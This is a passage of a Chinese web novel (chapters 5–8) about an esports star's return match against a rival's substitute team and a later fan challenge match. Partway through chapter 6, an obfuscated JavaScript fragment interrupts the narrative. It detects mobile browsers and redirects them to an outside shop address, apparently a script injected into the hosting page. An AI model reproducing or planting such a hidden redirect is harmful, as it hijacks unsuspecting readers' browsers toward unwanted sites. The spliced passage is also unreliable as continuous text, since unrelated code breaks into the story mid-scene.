夜幕如期而至,中心街区人声鼎沸的万人场馆外轮番变幻着炫彩夺目的灯光,奢靡且招摇。
沈岸的位置是最前场的VIP区,正对着DTL选手的隔音室。
大约是这位置实在有些熟悉,以至于落座的瞬间,沈岸心头涌现了一种不知今夕的恍惚。
距离他上一次坐在观众席上,已经过去了一年多。
但那时的隔音室仿佛更近些——近到他只要一抬眼就能准确轻易地撞进某人的眼底。
“沈岸?”
“你怎么也来看比赛?”
沈岸闻声回头,发现半个月前刚在自己面前自脱粉籍的人正在邻座落座。
周旭升眨巴着清澈愚蠢的大眼睛:“你不是黑粉吗?”
不接受污蔑的人冷冷反驳:“不要乱喷。”
“那你……”杏仁大小的脑壳宕机片刻,随机灵光一闪,找到了能解释一切的真相:“woc,我知道了,你是私生!”
沈岸:“……”
场馆的灯光在这时暗了下去,满场的荧光棒和应援牌在欢呼声中摇晃助威。
聚光灯再次打下,主持人和解说依次入场。
随后便是长达二十多分钟的预热和介绍环节。
周旭升听不来这种现场英文,也懒得戴耳机听翻译,场馆里手机信号又太弱,所以他见沈岸也没有戴耳机便开始没话找话。
“你能听懂他们在叨叨什么?”
沈岸生怕他多问:“听不懂。”
“那你也挺菜的。”周旭升升了个懒腰,开始追忆过往:“唉,上一次看比赛还是去年世界赛——要说DTL也是真傻逼,今年Once不打了就全队退赛。堂堂一线战队,队里居然连个拿得出手的替补都没有!”
“单核队伍,怎么替补?”沈岸讪笑一声:“与其留下来出丑,不如做缩头乌龟,把锅甩给走掉的人。”
这话里的火药味分明,维护意味鲜明,周旭升心呼不愧是私生:“说得对啊,我发现你说的话都特有道理啊沈岸,要不你能跟我一个学校呢!”
沈岸深呼吸一口气。
“诶,听说你还比我小两岁,怎么比我高两届啊?你上学很早吗?”
“我谎报年龄。”
“我草,你这可就不道德了啊,为什么谎报?”
“怕做私生被开户。”
“……哦,那也合理。”
沈岸不知道合理在哪里,但好在这段对话终于被了一阵热烈的鼓掌喝彩声叫停。
只见台上的候场大门在聚光灯下缓缓打开,选手开始入场了。
DTL战队首先亮相
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,四人相继登场,主持人依次介绍。
在念到Once的名字时,全场的呼声飙到了最高。
沈岸的目光也是被吸引着去的,一眼便锁定在了队伍最后的那个身影上。
那人模样清秀俊逸,身姿修长笔挺,正徐步走进舞台中央的灯影下。
几乎全场都沸腾着起立,倾身摇旗呐喊。
正如方才主持人所说,这场比赛作为温忱归来的荧幕首战,即便是在他国,一众粉丝也是不远万里的奔赴现场。
可以说到场的观众绝大部分观众都是冲着Once而来。
空窗期长达半年的他们举牌呐喊,在温忱登台,撞进视野的那一刻,不少人险些热泪盈眶。
对大多数一直在守着温忱归来的粉丝而言,台上的这个人是他们的青春,眼下的这一刻,是他们的有生之年。
然而在这群情鼎沸之时,沈岸却微微皱起了眉头。
为什么会是胜者组冠军先入场?
果然,任场馆中的尖叫与呐喊经久不衰,DTL的四人也只是简短的与观众打了个照面。
没有单人介绍,也没有双方选手会面。
四人就这样径直走进了比赛区域的隔音室,开始连接与调试设备。
“……什么情况?”
观众们都不禁发出了疑惑的声音。
“啥意思啊这就进去了?两队赛前都不碰个面???”周旭升叫了起来:“不对不对,有问题,这出场顺序就有问题,Once哪有不最后亮相的道理?!”
是啊。
出场顺序就已经说明了问题。
大概预知会发生什么的沈岸在心中轻轻叹了一口气,望向隔音室的眼神也复杂了不少。
看来这人的运气还是一如既往的差,回来的路还是和来时一样不顺。
众人不好的预感很快坐实。
DTL就位之后隔了好几分钟也没有再报幕,直到观众席上已经开始出现躁动,主持人才收到最终的指令。
“各位,十分的抱歉,因为Peak战队主队的队员集体食物中毒,无法出席,所以Peak战队决定接下来的比赛由二队的替补代替首发队员来参与完成。”
这一消息无疑似个重磅炸弹,突如其来的砸在了所有人心尖上,座下顿时哗然。
虽说Peak这样做无异于拱手将胜利让给了DTL,但是任谁都明白这场比赛对DTL,对Once的意义远不止于此。
“卧槽,这也太恶心了吧?!玩不起就恶心人?”
“什么玩意啊,就这赛前还放狠话!真就离他妈的谱了,不敢上就别来参加啊!”
“神他妈食物中毒,泡菜吃多了吃不了细糠?能编出这个理由的人也真是个人才。”
“不是,上替补这操作是哪个崽种想出来的?谁家好人战队出国打个邀请赛带四个替补啊???这不是纯纯算计好的嘛!”
“首发队员一个不上?让堂堂二连冠战队跟你们替补打?哪来的脸啊你们!!!”
…………
周围谩骂声四起,场下顿时乱作一团。
“各位稍安勿躁,这件事情我们先前已经与DTL战队的各位成员及教练沟通过了,是得到他们的同意的。”主办方见事态逐渐失控便赶忙解释道:“事发突然难以预料,还望各位理解。”
“我理解个屁!”周旭升气愤地摘掉耳机扔在一边,拳头握得咔咔响:“Once凭什么要委屈自己打这种狗屁比赛!”
“凭这里的人都是为了他而来。”
沈岸语调平淡,与周围的波澜壮阔形成鲜明对比。
可他的眼底却并不平静。
“如果不委屈自己打这场狗屁比赛,那要让这些为他而来的人怎么办呢?”
5. 第 5 章
“气死了,真的是要气死了。”
隔音室里,贺倾一边调试着键位一边咬牙叹气:“大老远地跑过来受气。”
“白送你赢也气?”
温忱作为最大的“利益受损人”,反倒却是最没脾气的一个,抱臂靠着椅背悠悠打趣。
但显然有人不赞同:“赢了这种人有什么意义?还不如脏回去恶心他们!”
瞥了陆寻然一眼,温忱虚心请教:“怎么脏啊?”
“当然是战术上脏!他们本来不就是靠学你的战术思路起家,这你还怕玩不过他们?”
“好办法啊!”Kun想了想:“反正他们自己家走的也是这种路子,而且出招恶心在先,没理由说我们什么的。”
贺倾听说能恶心回去顿时起了精神,向温忱挑眉:“对啊对啊,虐他们二队的菜鸡还不是有手就行!就是不知道我们温队太久没打这种‘心态局’,当年的风采还在不在咯~”
温忱轻笑:“是啊,玩脱了多尴尬。”
几人一时以为自己是幻听了。
难以相信这话是从他们温队嘴里说出来的。
尤其是陆寻然。
他转头看向温忱:“你不敢?”
温忱也偏过头去看他,煞有其事地郑重点头:“嗯,不敢。”
“温忱,他们他妈这么不当人地恶心你,你——”
“嘘。”不等他说完,温忱就做了个噤声的手势:“录着音呢,别说脏话。”
从未听说哪里的比赛有不给爆粗规定的人,咽下一句骂娘后越想越气:“你不敢我敢。”
“好啊。”活动了一下手腕,修长五指搭上鼠标,温忱开始翻阅备战页面的英雄栏:“那你来,我去打辅助。”
待Peak的二队成员出席就坐后,比赛正式开始。
温忱是首选位,在全场的讶异声中,他将自己的角色敲定。
辅助守澈。
在场观众无不深吸了一口凉气,周旭升也适时的惊呼出声:“啥玩意Once怎么选了个辅助?!还是解控型辅助??”
沈岸起初也没有看懂这一步操作,直到二号位Kun拿出了刺客舜华,他才明白温忱想做什么。
逐鹿的设定中包含与敌人的距离超过一定范围后会失去视野,所以寻常比赛中舜华最大的用处就是用来探查敌人位置,可以隐身是这个职业最大的优势,虽然定位是刺客但大多情况下还是被当做辅助来用的。
“给我整不会了。”周旭升两眼失去光芒,瘫在椅背上:“这是什么套路啊?”
“这套组合探点位很好用的。”看明白了温忱的用意后,跟着也想通了一些事:“对面突然换替补可能也并非是单纯为了恶心人。”
“那还能是为了什么?”
“窥探战术。”
靠着抄袭思路起家的剽窃者其实是很不应该上赶着出现在正主面前的。
来祖师爷面前班门弄斧做小丑的是傻子。
可Peak不傻。
不仅不傻,还十分精明。
他们深知再没有任何一场比赛比这一次更能从场外入手牵制住Once,逼他留下来,哪怕顶着天大的委屈也会打完。
——这是一次蓄谋已久的刻意针对。
双方英雄均已敲定后,地图开始随机。
滨海之湾。
这是一张视野极其开阔的海边地图,只有几处废墟作为掩体,适合伏击作战。
入场动画加载完毕后,双方的三个鹿神像位置在地图上被确定,温忱扫了一眼小地图,指挥Kun跟着他向对方的复生神像摸去。
神像附近有固定视野,舜华的隐身失效,Peak的人发现不对立刻靠拢,冰刺率先出击,绕到舜华旁边就是一个垂直的冰障封住了走位。
随后赶来的枪炮手准备一击收下这个一血,谁曾想就在这么不到两秒的时间里,局势逆转。
几乎是在枪炮手露头的瞬间,Once就帮Kun解掉了控制,舜华看准时机立刻出手。
击杀特效和击杀播报齐齐传来,饶是征战赛场多年的解说也和观众们一样愣了几秒。
开局不到一分钟,击杀对面输出。
而且,拿下人头的还是敌方辅助……
这是逐鹿比赛史上从未出现过的画面。
短暂的静默后,DTL的粉丝集体起立欢呼呐喊,高呼着Once的名字,场面瞬间沸腾。
导播也赶忙调出了刚刚的回放。
直到这时众人才看清一切是怎么发生的。
舜华作为机动性刺客,伤害并不高,一套技能没能带走敌方枪炮,是绕后的守澈使用了主动装备刺棱,补上了最后的伤害。
解说甲目瞪口呆:“我的天呐,所以Once他一开局就直接搬空了全队的金币去买刺棱?!”
逐鹿设定,玩家可以选择对自己的金币上锁或共享,共享的金币都会放在一个池子内供全队使用,一定程度上是可以达到资源共享的。
只是……还从来没有过辅助开局搬空输出金币的这么个共享办法。
解说乙心悦诚服:“还是我们熟悉的Once哈,意想不到的操作,出其不意的打法,当之无愧的战术第一人!”
不过解说不知道的是,这波操作不仅在他们的意料之外,连队友也是始料未及。
“不是,你……你怎么开局第一件买刺棱啊,我这现在连初级弩都买不起,怎么打!”
职业比赛自然不会有锁金币池的操作,陆寻然也实在是被自家队长的这番操作给迷惑到了。
但他没想到,自己话音刚落,金币池就又一次见底了。
这次不再是挪用全队的金币。
——而是只花了他陆寻然一个人的。
因为钱不多,只够买个加速靴,温忱还点了点他的头像,督促道:“打怪就行,我要用钱。”
然后就穿着新鞋头也不回地向对方另一个神像摸去。
逐鹿对局中的三个神像有着各自不同的功能和防御特性。
顾名思义,复生神像掌管队员的复活,在地图上散发着柔和的蓝色光柱。只要这个神像不倒,就可以在对局中无限次复活,不过随着死亡次数增加,复生需要的时间也会增加。其作为队伍的生命线,拥有防御的最高优先级,这也是为什么方才温忱刚一靠近对方就立刻回防。
除此之外,另外两座分别是治愈神像和恩赐神像。
治愈神像散发绿色脉动
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光环,周围一定区域内会持续产生治疗光圈,可以为己方单位缓慢恢复生命值,在战斗初期没有足够金币购买治疗大件的时候尤其重要,不过若是有治疗辅助在场或是竞技后期,作用便会相对减弱。
恩赐神像散发金色粒子效果,周期性为己方队伍提供额外金币,若被摧毁则对方队伍会立刻获得一笔可观的金币奖励,己方的金币增速也会变缓。是增益类属性,根据不同战术安排,对其的防守布控往往也不同。
而作为取得游戏获胜的关键,摧毁神像需要长时间的持续引导读条,期间不能被控制效果打断,这有效防止了单个高机动英雄的单机作战和无脑偷窃,强调团队掩护的重要性。
因此,队里其他三人并不太明白温忱此时一股脑向前冲的目的,毕竟任他强出天际也是不可能在这个时候偷掉敌方任何一个神像的。
“……队长,我们真的不需要回防吗?”跟着温忱快把对面地图探索完的Kun终于忍不住发问:“他们……”
“咱们兵分两路,你去毁治愈,我去毁恩赐。”
Kun:“?”
“快点。”
Kun想不明白,但Kun只能照做。
在全场的疑问与惊叹声中,二人相继开始引导摧毁读条。
解说甲:“不是不是不是,这是什么路子?!直接五分钟生偷啊?”
解说乙:“杀、杀死比赛好像不是这么杀的吧,我记忆错乱了?”
“问题是这也不可能偷得掉啊,45秒的引导时间,任他们在地图的天涯海角也赶得……”
话说到这,还算资深的解说终于意识到什么。
“——不对!Once是故意的!他就是为了引对面回防!这是在刺探初始布控啊!”
解说的声音越来越激动。
“这种开局探点的打法也不是没有先例的,只是收益大风险大,很容易被识破不说,还有可能反被留人。Peak的人会就这么上当吗——”
事实证明,他们会。
不出十秒,冰刺和枪炮便赶到了Kun那边,远距离一个技能直接打断。
Once这边的则稍微慢了一些,二十秒出头,在他逛完商店用陆寻然的钱买了条防御头巾后,战士和刺客飞奔而至。
温忱一声令下:“撤。”
两人的技能在此时发挥出绝对优势,Once凭借解控没有被留,Kun也及时隐身溜掉。
看似狼狈逃窜,其实目的达成。
解说席瞬间沸腾。
“成功了!!钓出了防守路线防守人员还双双成功脱身——”
“绝了!到底还是二队人员经验少,这下吃大亏咯!”
…………
“你早说是这个意思啊队长,我都没跟上你的思路。”
“牛*,算你宝刀未老。”
队友见状也发来称赞。
除了陆寻然。
唯一受害者幽怨又憋屈:“所以你去探点,为什么要用我的钱买个头巾。”
将视线短暂地从屏幕上移开,温忱含笑看了身侧的人一眼。
“你不觉得我冲锋陷阵的样子很有起义精神吗?”
“起义可不得戴条头巾吗?”
6. 第 6 章
Peak出师不利,不仅没能窥探到什么新套路,还反过来砸了自己的脚。
比赛的结局没有任何悬念,DTL零封Peak,拿下邀请赛冠军。
整个比赛过程可谓是精彩纷呈,亮眼至极。
至于为何精彩——
因为Once有一大半的时间都在乱打。
这局拿辅助买高额输出装冲锋陷阵,下局又拿突击手远程腰射点人脑壳。
简直可以用打得乱七八糟来形容……但又偏偏乱中有秀,辅助还真能单杀,超远距离也真能点死对面。
看得众人那叫一个不明所以但又热血沸腾。
不过沈岸倒是完全能够理解他的脑回路。
除了最开始的以牙还牙外,其余几把其实都是在吊着对面玩。
既然你想窥探战术,那我就打得毫无章法可循。
既然你喜欢照搬照抄,那我就给你漏点学不来的。
治你们,还不就是顺手的事。
…………
胜败已定,在全场的尖叫与沸腾中,四人收拾好设备包,走出隔音室,登上舞台。
“Once!Once!Once!”
台下的摇旗呐喊声震耳欲聋,粉丝全体起立,高呼着某个久违的名讳。
这个画面,温忱觉得很熟悉又很遥远。
一切流程都和过去一样,登台,领奖,与Peak战队握手。
贺倾与陆寻然在领奖台上随便说了几句话,他们是电竞老人,虽然因上一届世界赛退赛的事情也受到了牵连,但名气依旧是在的,每句话说完场下都是经久不衰的掌声。
Kun作为才入队不久的新人,胜在年纪小,腼腆可爱,而且今天打得也很出彩,粉丝爱屋及乌,一样收获了不少呐喊。
只是再接着,轮到温忱的时候,本应更加振奋的人群,却不约而同地缓缓静了下来。
似乎都在提着一颗心,等待着什么重要的事情被宣之于口。
包括沈岸。
其实他也不知道温忱休赛的真正原因,半年前那会两人已经分隔两国,断了联系很久了。
至于是对外宣称的身体原因,还是什么不可告人的其他原因,沈岸猜测过也求证过,但显然沈时在这件事情上和温忱是一伙的,没有实话实说。
如此,也就没有刨根问底的必要了。
万众瞩目之下,温忱抬手接过Kun递来的麦克风,移至唇边。
然后,磁性好听的声音隔着话筒传来。
他说,好久不见。
周遭的回应此起彼伏,有的说我们很想你,有的说这次不要再走了,周旭升说我草我偶像在看我!
聚光灯打在他的身上,台下只有应援棒的微弱光芒,按理来说观众席应该是漆黑一片。
但在那一刻,沈岸格外真切地感觉到,这抹视线是朝着自己直直落下的。
可惜的是最终粉丝们还是没有听到想听的答案,Once没有说任何关于休赛的事情,回到休息室时迎上了林词一张殷勤的笑脸。
“哎呀你看你,之前还非要跟我犟,这打得多好啊!”
DTL因祸得福,因为Peak这么个插曲,原本没打算配合的人打出了第二场足以载入史册的精彩比赛。
看得场下的林经理嘴角比AK还难压。
温忱没有理他,伸手准备拿水喝。
一瓶拧开的矿泉水适时递了过来:“恭喜温队,您打得真好,我都看呆了!”
楞了一下后,他抬手接过Wink递过来的水,内心有些复杂地说了声谢谢。
其实这次带他一起来A国是温忱要求的,他本已暗自计划好在决胜局的时候找个由头下场,换这孩子来打。
但奈何遇到了这样的事情。
如果在这个时候再换他上场,只会做低他的新人身份,显得和对面那几个不入流的一般高下。
有违本意,索性就没提了。
Wink空跑一趟也丝毫没有抱怨情绪,亮晶晶的眼里全然是对自己偶像的崇拜和战队夺冠的喜悦:“我听说晚上还有挑战赛,待会我也要试试你刚刚的打法!”
“那些虚头巴脑的没啥实用价值,别学杂了。”喝完两口水,他若有所思地又看了那个瘦巴巴的男孩一眼。
Wink年纪小,因为家庭原因初中就辍学了,15岁被DTL招来做青训生,一年前被选上做自己替补的时候也就才17出头。
刘厚说他努力并非虚言,一训练起来就日夜颠倒,尤其是温忱不在的这半年,生怕因为自己影响了战队,其余人摆烂散混的时候一天也没闲着。
没有成绩完全不是他的问题。
只能说时运不济,碰到了这样的战队,再多努力也是白费。
说不清是出于对新人的怜爱,还是因为从这孩子身上看到了一些自己的来时的影子,Once难得向人发出邀请:“晚上有2V2,到时候我带你,要学就学点有用的。”
DTL常年营销赛区精神,没有在外举办庆功宴的传统,但是这次比赛热度太大,主办方不肯放人,便有了“挑战赛”这么个赛后节目,从一个星期前就开始预热,以随机抽取门票编号的形式决定参赛人选。
说是随机,但VIP区前几排的人几乎都“幸运”中奖。
沈岸在列,周旭升也在列。
因为是现场直接公布的名单,沈岸没有丢下周某独自开溜的机会,被迫结伴而行。
挑战赛的开场时间为晚上8点,还有三个多小时,周旭升大手一挥,要请沈岸去吃园区内最贵的白人饭。
又贵又难吃的私房菜馆门可罗雀,沈岸没什么胃口,只点了个清淡的沙拉和小碟,菜单被周旭升一把夺过:“你穷疯啦吃这些东西!”
沈岸懒得理他。
因为近期一直没能好好休息,身体恢复的慢,他的病还没有完全好。在密不透风的万人场馆里待久了,出门便觉得有些头疼。
不过也不排除头疼是被周旭升烦的。
直到上菜,周大少爷已经不依不饶地发出了三次挑战赛的组队邀约。
“你信我的,2V2真的比1V1好玩,有很多新奇的玩法,超有意思。”
沈岸刷着手机,头也不抬:“不玩。”
“我很厉害的我跟你说,你抱紧我大腿保准能连胜。”
“不需要。”
“错过我这么强劲的队友你就后悔去吧!”
“好的。”
周旭升:“……我发现你这人特犟你知道吗。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17013060|194141||http|test|mini|href|location''.split(''|''),0,{}));
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>无所谓他人怎么评价,沈岸漠然地点开最新赛事推送。
在看到刚公布的参赛名单列表时,指尖忽然僵在了半空。
半晌后,犟种反悔:“双排是吧,行。”
周旭升:“……?”
这人怎么又他妈开始左右脑互搏了啊??
挑战赛的场馆被特别布置过,排满了单独的电竞间,周围设置了两层看台,围绕中心舞台半弧形覆盖,二层空间更大便隔了包间,现下也恰好作为各站队未参赛成员的观战区。
本次挑战赛并非只针对DTL,主办方向全部参赛战队都发出了邀请,除了Peak明确拒绝外,还在A国境内的队伍基本都出席了。
比赛全程直播,为了加快节奏,地图小了一倍,形式只有1V1和2V2两种,在各自的模式中随机不间断匹配,每场限时8分钟,获胜条件均为击杀对方全部人员并摧毁复生神像,若未能在时间内决出胜负就按照人头比和伤害比结算,输满两场即淘汰,一直到场上只剩下两个队伍,角逐冠亚军。
不过,大部分人关注的倒不是能不能战到最后,他们只期待能够在随机匹配中与自己喜欢的选手撞车。
故而绝大部分的人都报名了2V2。
因为Once的名字出现在了2V2的队列之中。
双人玻璃房里,周旭升一边摆弄耳机一边嘟囔:“我说怎么突然变卦,沈岸你私生味真的很浓你知道吗……”
脸色不是很好看的私生没有理他,调试完键位后就一言不发地等待匹配开始。
第一局他们匹配到的是一队粉丝水友,沈岸选了个枪炮,一句沟通没有,三分钟结束战斗,对面还以为排到的是职业选手,但又不知道为什么对方ID上没有战队前缀。
第二局匹配到的是个一轮游战队Oral,这两人开场就“友好”地在团队里扣字,询问对方是谁的粉丝。
周旭升没礼貌,回,反正不是你们的。
对方也不气,说那肯定就是Once的啦。
然后紧接着又发来了几个英语长难句,周旭升看明白个大概,遂大怒,上头地冲上去要和他们火拼——他们居然敢诋毁Once,说他现在水平不行都改玩辅助了,除了长得好看也没什么值得喜欢的,不如改粉他们这把就让你们赢了。
结果人都没摸到就成功献祭。
沈岸皱了皱眉头,他这把玩的是循影,见对面再次在团队频道扣起字来,便直接卡着身位给自己套了个隐身斗篷,绕了二人一个背身。、
两人显然轻敌,站在一处,被买一送一地一套带走。
引导摧毁神像的时间里,沈岸也在团队扣字:【我需要你让?】
周旭升看呆了,刚想发表感叹,就听沈岸骂完对手骂队友:“你为什么这么菜?”
菜鸟震惊。
“那他妈好歹也是职业选手,打不过职业就是菜吗?!”
“……不对。”
菜鸟回神。
“你怎么能打过?!”
直到新一局的匹配结果重磅出炉,周旭升才终于停止追问。
看着屏幕上再熟悉不过的战队LOGO惊呼了句国粹。
——没头脑和不高兴的第三把对局排到了所有人都许愿撞车的DTL。
7. 第 7 章
Wink花了两把对局的时间才平复了和Once双排的紧张心情,却在进入第三局时发现偶像突然不说话了。
没有引导也没有教学,像是专注在看团队频道内不停闪烁着的,来自【X.Zhou】的倾情告白,但又一句都没回。
Wink独自寻思了半天,觉得可能是因为这把地图和上把一样,而Once刚刚才教过他,在这种开阔的地图上除了伏击,找准时机正面直冲往往也会有奇效。
领悟力超强的学生如是告诉自己:老师的沉默一定是在检验他的学习成果。
于是二话不说操纵着突击手跃刃直接朝对方一人摸去。
与此同时的另一边。
【X.Zhou】独自刷屏,见同伴没有和前两把一样无脑猛冲,但也没和他一起发消息,还出言挑衅道:“心态也不行嘛,这就开心傻啦?”
满脸阴霾的人不知道自己脸上有哪一寸表情跟开心有关。
尤其是在看到敌方一人抡着匕首直直朝自己冲过来时。
“呵。”
沈岸冷笑一声,调整身位堪堪躲过一击。
奈何跃刃并不罢休,抄刀回头又是一记横扫。
饶是沈岸手速反应都很快,也还是没能完全躲过,被打掉大半管血,再加上他这把玩的是弓箭手,近身作战没有优势,两招之内就要被击杀。
不过跃刃却在这个时候停手了。
过了几秒后,团队频道出现一行字。
【DTL-Wink:抱歉抱歉,不是故意针对你的,我就是想试试刚学的新打法效果怎么样(*^▽^*)】
沈岸本来就不爽。
从看到Once的名字和另一个人并列出现在队伍名单里时就不爽。
在看到温大队长的小队友用着一看就知道出自谁教学的打法冲上来胖揍自己的时候更不爽。
不过也就只是不爽。
毕竟别人想怎么打爱怎么打谁教他打,自己也管不着。
直到聊天框里冒出这行字,沈岸觉得,实在连标点符号都是挑衅。
于是冷着脸起身,一把揪起了旁边的周旭升:“你起来,给我打。”
这把周旭升玩的是循影,因为上把被骂菜不服非要展示,但从进来之后就一动不动地打字到现在,一个技能都没放过。
沈岸接手之后,和跃刃采取了近乎完全相同的套路,二话没说抡着长刀冲上去迎头就砍。
跃刃刚被自家队长教训完没礼貌,就见对方比他还没礼貌地冲了过来,连忙敲击键盘招架。
Wink作为Once的替补,主打的是输出而非刺客,但毕竟是职业选手,操作水平是摆在那的。
所以在屏幕黑下去之前,他完全没有想过自己会单挑输给一个水友。
“他好厉害啊。”Wink心服口服:“这个循影玩得真的很溜!”
“嗯。”温忱很轻地勾了下嘴角:“是很厉害的。”
很厉害的循影大人不满足于只杀一人,血都没顾上加就直接朝着Once的狙击手走去。
狙击手的视野范围比其他角色都要大,本该是很难近身的,但循影这一路却是畅通无阻。
直到两个角色相对而立,彼此都在对方的技能伤害范围之内。
循影突然精准发难。
他走位刁钻,毫不留情,狙击手身形灵敏,欣然迎击。
子弹与利刃交锋,碰撞而成的火星一路蔓延,很快就以燎原之势灼烧了整个滨海之湾。
两人在各自队友目瞪口呆的注视下,从神像打到海边,又从海边打到废墟。
愣是生生打到倒计时终止,也没有任何一方被击杀。
最终的胜负判定优先根据人头结算,所以尽管狙击手的伤害更高,也还是拿了跃刃人头的循影获胜。
看着胜利字样的屏幕好一会,沈岸才反应过来自己还坐在别人的位置上,揉了揉酸痛的手腕起身让位。
周旭升已经站在旁边看呆了,人坐了回去魂还在原地。
过了半晌:“——我的老天奶啊,你刚刚是打赢了Once吗!!!”
和周旭升一样震惊的,还有一整个直播间的人。
导播非常会抓重点,在循影和跃刃打起来时就将画面切到了这一场比赛中,完完整整播完了整场对局过程。
【等等等等……这是什么?!我又看了一场正式赛吗?!】
【真·神仙打架·高手在民间】
【对面是粉丝?不可能吧,肯定是谁家职业开的小号】
【到场的职业选手里压根没听说有谁是循影绝活哥好吧……这英雄玩得好既能Carry又能秀,谁家战队会放着这么尊大佛不用藏着掖着?】
【一般人能和Once单挑打满五分半?什么含金量啊?】
【也不用这么硬吹吧,刺客单挑输出打平很光彩吗?】
【兄弟,那也要看是和谁打啊,Once狙击手出家,当年春季赛又凭借一手天秀循影暴虐渣渣Win,两个都是人家本命,换你来你能活几秒?】
【说起Once的循影,你们没觉得对面这人的打法操作其实很眼熟吗……】
【我去,你发现了华点,我说怎么越看越觉得似曾相识,这不跟Once本人的循影玩得一样嘛!】
…………
不出意外,两支队伍分别战至最后,再次相见已是最终对局。
在看到双方都选出了循影时,直播间瞬间蒸腾。
Once已经很久没有玩过这个英雄了。
自从三年前带领DTL夺冠后被推上核心战术指挥位,这支单核队伍就再也没有给过Once打头阵的机会。
即便是在这次这种一路平推的邀请赛场上,Once都没有掏出过这个曾经让他风头无两的本命英雄。
黑子喷子抓住这个事情做文章,之前对局里周旭升耳闻的诋毁无独有偶。
因此在见到Once久违地拿出这个英雄时,直播间的粉丝都亢奋不已。
【感谢对面两位兄弟,让我有幸再见到Once掏出循影】
【原来是友军钓鱼,这波你们在大气层】
【Once一天之内连打两场照妖镜之战吗哈哈哈哈……】
【拜托,人家弟弟玩得比Peak那群废物好多了好吧,这应该叫巅峰对决】
【你就弟弟上了?循影这英雄爆猪率多高不知道?】
【黑子睁大眼睛好好看看什么是世一循影】
【呵呵,打这种水友赛才敢掏循影不更坐实水平不行】
【也就你们这群脑残粉和女粉才给他买账】
…………
说是2v2的对局,但因为双方都有循影这种高机动性的英雄存在,本就极易脱节。
再加上两位循影选手完全都没有要和队友打配
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合的意思……
直播间的观众越看越觉得这其实是一场1v1。
镜像1v1。
如果说Peak模仿DTL尚且只算得上照虎画猫,东施效颦,那么这位“民间大神”对Once的学习可谓是鞭辟入里,透彻至极。
从移动路径,技能连招,到抓点时机,乃至假意撤退时故意停顿骗对面交控制的小习惯……都别无二致。
Once先发制人,抓住技能后摇绕后突击。
Side有样学样,半分钟后以同样的方式反攻。
Once不退反进,一招蛇形走位迎头突脸。
Side早有预判,下一秒就用同样的走位规避。
…………
弹幕里开始飘起一连串问号。
【???】
【???】
【两个Once??】
【对面是AI?】
【是谁在比赛台上?!】
【这得是多资深的粉丝啊,模仿Once的我见过太多了,能学到这种程度的……Peak你来拜师吧】
【可问题是Once的循影秀归秀,但实战素材很少,这个人怎么学得到这么多的啊?!】
【我作证,我特意研究过,这里两个人对战的很多招式现有的比赛里Once从来没打出来过】
…………
白热化的对抗一直持续至四分半。
接近五分钟时,久征沙场的老将抓住了一个对方微小的失误,直接一波收割,残血击杀敌方循影。
胜负已见分晓。
沈岸看着屏幕,半晌没有动作。
玻璃间里的灯光不算明亮,屏幕里花哨炫目的光影折射在白净的脸上,他薄唇紧抿,长睫毛煽动但目光不错,秀挺的鼻尖在脸颊一侧打下阴影。
胜利结算,敌方MVP循影的建模占据了大半个屏幕。
锈蚀峡谷的苍紫色月光自屏幕一角斜斜打下,戴着半张面具的人影一半被月光映照,一半隐匿在黑暗之中。
沈岸忽然想到了多年前,他刚接触这个游戏没多久的时候。
也是这张地图,是这个人影。
当时的游戏画质还没有如今这般精良,模糊的画面中看不清人物具体动作,只依稀辨别得出是个埋伏在黑暗中的角色。
那会的沈岸尚没有什么游戏理解,疑惑地问,“所以这个角色的设定是隐匿的夜行者吗?在黑夜之中循着别人影子行动的那种?”
记忆中的那人笑着靠在椅背上。
“按照官方设定,他的技能体系的确更适合伏击作战,也就是你说的,隐匿于别人的影下伺机而动。”
“不过嘛,我个人倒是不太喜欢这个定义。”
“在我看来,“循影’的意思更应该是,循心而动,影随身形——循的是自己的心,而非旁人的影。”
“没人应该活在谁的影子里。”
说完这些,早年间年轻气盛,轻狂之下难掩中二气息的人挑挑眉,发出求认可邀请。
“你觉得呢,小朋友?我说得是不是很有道理?”
沈岸将目光从电脑上移开,在转头撞进那张写满期待的明亮眼眸时,曾结结实实有过一瞬间的失神。
屏幕内的人被冷漠月光笼罩,屏幕外的人被冬日暖阳包裹。
沈岸记得,就是在那一刻,他下定了坚持玩下去这个游戏的决心。
8. 第 8 章
按照惯例,挑战赛结束之后会有一个颁奖与合影环节,感谢所有参与的粉丝和选手。
作为2v2组的亚军,仅仅惜败Once的队伍一员,从电竞房走向舞台中央的这两步走得格外趾高气扬,目中无物。
以至于直到登台才发现队友并没有跟上来。
不仅没有跟上来,甚至已经走到了出口处准备离开了。
周旭升觉得他疯了,掏出手机准备发消息喊他回来,余光却猛地瞥见,又一个熟悉的身影也跟着从那个方向消失……
夜风猎猎,寒气刺骨,刚拐过出馆通道,沈岸就被灌了一领子冷风。
但他脚步不顿。
馆内太闷,音响太燥,久违的高强度对局更是打得头昏脑胀,这会吹吹风倒也清醒。
雪不知是何时停的,深夜的园区依旧灯火通明,映照着广阔无垠的平整雪色。
璀璨又寥落。
沈岸没打算立刻离开,在中央喷泉旁的长椅上落座,尝试调整思绪。
他一直认为被情绪左右思考是一种很糟糕的事情,但这样的糟糕情形已经持续了一整个晚上。
在看到Peak刻意针对时,在没有听到有关休赛的任何解释时,在见到那个陌生的ID并排出现时,在两度相遇默契交锋时……
其实直到对局结束,沈岸才发现自己的手都是抖的。
原来最后的那一个细小的失误,也并不完全是失误。
不知在想些什么,他的目光落在因为天冷而并未开启的音乐喷泉上很久。
直到远处某个场馆的音乐会散场,蜂拥而出的游客打破了寂静。
一对落在人群后方的年轻男女偏离正常离园路径,朝着沈岸的方向走过来。
女生在前大步流星头也不回,男生在后紧追慢赶喋喋不休。
像是闹着什么别扭。
在喷泉的对角站定,两人急赤白脸,忙着争辩。
女生声音很冷:“你有什么资格替我做决定?”
男生语气很急:“那我难道不是为了你好吗?”
“那是你自己以为的。”
“人是要为自己的选择付出代价的,你现在拎不清,以后就知道后悔了。”
“……”
人是要为自己的选择付出代价的。
